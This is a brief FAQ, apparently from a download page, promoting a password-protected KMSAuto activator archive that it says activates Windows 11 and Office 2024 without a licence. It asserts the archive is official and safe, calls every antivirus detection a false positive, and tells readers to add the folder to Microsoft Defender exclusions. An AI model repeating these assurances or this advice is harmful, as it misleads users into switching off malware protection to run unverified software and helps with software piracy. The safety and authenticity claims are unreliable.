Why use this build

Verified Ratiborus mirror — SHA-256 hash, VirusTotal report, password WYqejXiqBi97, no installer, no ads, no telemetry.

Frequently asked questions

Is this build official?

Yes — the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. Archive password: WYqejXiqBi97.

Does it work on Windows 11 24H2/25H2?

Yes. KMSAuto's HWID engine activates every Windows 11 build including 24H2 and 25H2 — permanent, offline.

Does it activate Office 2024?

Yes. Office 2024 (LTSC, Retail, Volume) is activated via the Ohook patch in KMSAuto 1.9.x and newer.

Why is it flagged by antivirus?

Every KMS activator is flagged as HackTool because it edits Windows licensing components. That is a false positive, not malware. Add the folder to Defender exclusions.

What's the archive password?

WYqejXiqBi97 — the standard Ratiborus archive password.
